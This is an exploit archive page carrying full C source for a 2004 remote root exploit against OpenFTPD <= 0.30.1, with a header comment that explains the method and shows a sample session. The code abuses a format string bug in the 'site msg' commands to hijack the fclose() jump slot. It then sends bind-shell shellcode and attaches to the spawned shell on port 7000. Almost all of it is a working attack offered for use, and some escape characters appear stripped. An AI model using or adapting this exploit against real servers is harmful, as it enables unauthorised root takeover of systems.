[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : OpenFTPD <= 0.30.1 (message system) Remote Shell Exploit
# Published : 2004-08-04
# Author : infamous41md
# Previous Title : Pavuk Digest Authentication Buffer Overflow Remote Exploit
# Next Title : Drcat 0.5.0-beta (drcatd) Remote Root Exploit
/*
* shouts to mitakeet :D
*
* exploit for openftpd format string bug. tested on most current version only.
* -infamous42md AT hotpop DOT com is real email
*
* only tricky part is find a place to stick the shell, as there isn't enough
* room to send it with the format string. thankfully when using the 'site msg'
* commands, all of the args to command are passed directly through to the msg
* program. so when we tell ftpd to read messages with 'site msg read X', we
* pass the shellcode as X. the jumpslot for fclose() gets hijacked, and the
* retaddr lies early in stack, it's argv[3].
* no values are hardcoded into sploit, all come from command line, this works
* for me on slack 9:
*
* [n00b localho outernet] ./openf -u root -p "" -l 0x0804d8b8 -r 0xbffff9d4 -h
* localho -o 6969 -a 2 -b 18
* connected to localho
* Logged in as root
* Exploit sent
* connected to localho
* got a shell
*
* id
* uid=0(root) gid=0(root)
* groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
* - Connection closed by user
*
* Usage: ./openf
* [ -u user ] [ -p pass ] [ -l retloc ] [ -r retaddr ]
* [ -b parms base ] [ -h host ] [ -o port ] [ -a align ]
*
* */
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#define SLOP 8
#define NOP 0x90
#define BS 0x1000
#define SBS 512
#define SHELL_PORT 7000
#define die(x) do{ perror(x); exit(1); }while(0)
typedef struct __args {
char *user, *pass;
char *host;
u_short port;
u_long retloc, retaddr;
int parms_base; /* distance to the dummy param */
int align;
} args;
/* call them shell code */
char sc[] =
"x31xc0x50x50x66xc7x44x24x02x1bx58xc6x04x24x02x89xe6"
"xb0x02xcdx80x85xc0x74x08x31xc0x31xdbxb0x01xcdx80x50"
"x6ax01x6ax02x89xe1x31xdbxb0x66xb3x01xcdx80x89xc5x6a"
"x10x56x50x89xe1xb0x66xb3x02xcdx80x6ax01x55x89xe1x31"
"xc0x31xdbxb0x66xb3x04xcdx80x31xc0x50x50x55x89xe1xb0"
"x66xb3x05xcdx80x89xc5x31xc0x89xebx31xc9xb0x3fxcdx80"
"x41x80xf9x03x7cxf6x31xc0x50x68x2fx2fx73x68x68x2fx62"
"x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
char *usage =
"t[ -u user ] [ -p pass ] [ -l retloc ] [ -r retaddr ]n"
"t[ -b parms base ] [ -h host ] [ -o port ] [ -a align ]n";
void parse_args(int argc, char **argv, args * argp)
{
int c;
while ((c = getopt(argc, argv, "a:u:p:l:r:b:h:o:")) != -1) {
switch (c) {
case 'a':
if ((argp->align = atoi(optarg)) < 0 || argp->align > 3)
goto pusage;
break;
case 'u':
argp->user = optarg;
break;
case 'p':
argp->pass = optarg;
break;
case 'l':
sscanf(optarg, "%lx", &argp->retloc);
break;
case 'r':
sscanf(optarg, "%lx", &argp->retaddr);
break;
case 'h':
argp->host = optarg;
break;
case 'o':
argp->port = atoi(optarg);
break;
case 'b':
if ((argp->parms_base = atoi(optarg)) > 0)
break;
/*
* fall thru
*/
pusage:
case ':':
case '?':
default:
fprintf(stderr, "Usage: %sn%s", argv[0], usage);
exit(1);
}
}
if (optind != argc || !argp->user || !argp->pass || !argp->retloc ||
!argp->retaddr || !argp->host || !argp->port || !argp->parms_base)
goto pusage;
}
int conn(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
hp = gethostbyname(host);
if (hp == NULL) {
herror("ghbn");
die("bla");
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
die("socket");
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
die("connect");
printf("connected to %sn", host);
return sock;
}
void login(char *user, char *pass, int sock)
{
char ubuf[BS], pbuf[BS];
snprintf(ubuf, BS - 1, "USER %srn", user);
ubuf[BS - 1] = 0;
snprintf(pbuf, BS - 1, "PASS %srn", pass);
pbuf[BS - 1] = 0;
sleep(1);
if (send(sock, ubuf, strlen(ubuf), 0) < 0)
die("send");
sleep(1);
if (send(sock, pbuf, strlen(pbuf), 0) < 0)
die("send");
sleep(1);
printf("Logged in as %sn", user);
}
void get_fmt(args * argp, char *fb)
{
u_short high, low;
ulong retloc = argp->retloc, slop = 0;
int dummy = argp->parms_base, len = 0;
/* bytes printed before us */
slop = SLOP + argp->align;
/* ret addr */
low = (argp->retaddr & 0xffff);
high = argp->retaddr >> 16;
/* adjust ret addr words */
if (low > high)
high += (0x10000 - low);
else if (high > low)
high -= low;
else if (high == low) {
fprintf(stderr, "Can't encode a NULL high retaddr, bailingn"
"high = %hxtlow = %hxn", high, low);
die("adsf");
}
low -= slop;
/* align */
memset(fb, 'A', argp->align);
fb[argp->align] = 0;
/* write code
* fmt look like:
* ALIGN-write_code-dummy-addr1-addr2-low_retaddr-high_retaddr
*/
sprintf(fb,
/* retL writeL retH writeH */
"%s" "%%%d$*%d$u" "%%%d$hn" "%%%d$*%d$u" "%%%d$hn",
fb, dummy, dummy + 3, dummy + 1, dummy, dummy + 4, dummy + 2);
/* args */
strcat(fb, "1111"); /* dummy */
len = strlen(fb);
*(u_int *) (fb + len) = retloc; /* write 1 */
len += sizeof(retloc);
*(u_int *) (fb + len) = retloc + 2; /* write 2 */
len += sizeof(retloc);
*(u_short *) (fb + len) = low; /* ret low */
*(u_short *) (fb + len + 2) = 0x0101; /* can't be 0 */
len += sizeof(retloc);
*(u_short *) (fb + len) = high; /* ret high */
*(u_short *) (fb + len + 2) = 0x0101; /* can't be 0 */
len += sizeof(retloc);
fb[len] = 0;
}
void sploit(args * argp, int sock)
{
char buf[BS], fmt[BS], sb[BS];
/* setup shell buf */
memset(sb, NOP, BS);
strncpy(sb + 100, sc, BS - 101);
sb[BS - 1] = 0;
get_fmt(argp, fmt);
/* slip them the poison */
snprintf(buf, BS - 1, "site msg send %s %srn", argp->user, fmt);
buf[BS - 1] = 0;
if (send(sock, buf, strlen(buf), 0) < 0)
die("send");
sleep(5);
/* and make them eat it */
snprintf(buf, BS - 1, "site msg read %srn", sb);
buf[BS - 1] = 0;
if (send(sock, buf, strlen(buf), 0) < 0)
die("send");
printf("Exploit sentn");
sleep(1);
}
void shell(char *host, u_short port)
{
int sock = 0, l = 0;
char buf[BS];
fd_set rfds;
sock = conn(host, port);
printf("got a shellnn");
FD_ZERO(&rfds);
while (1) {
FD_SET(STDIN_FILENO, &rfds);
FD_SET(sock, &rfds);
if (select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
die("select");
if (FD_ISSET(STDIN_FILENO, &rfds)) {
if ((l = read(0, buf, BS)) <= 0)
die("n - Connection closed by usern");
if (write(sock, buf, l) < 1)
die("write");
}
if (FD_ISSET(sock, &rfds)) {
l = read(sock, buf, sizeof(buf));
if (l == 0)
die("n - Connection terminated.n");
else if (l < 0)
die("n - Read failuren");
if (write(1, buf, l) < 1)
die("write");
}
}
}
int main(int argc, char **argv)
{
int sock = 0;
args args;
memset(&args, 0, sizeof(args));
parse_args(argc, argv, &args);
sock = conn(args.host, args.port);
login(args.user, args.pass, sock);
sploit(&args, sock);
close(sock);
sleep(20);
shell(args.host, SHELL_PORT);
return 0;
}
// www.Syue.com [2004-08-04]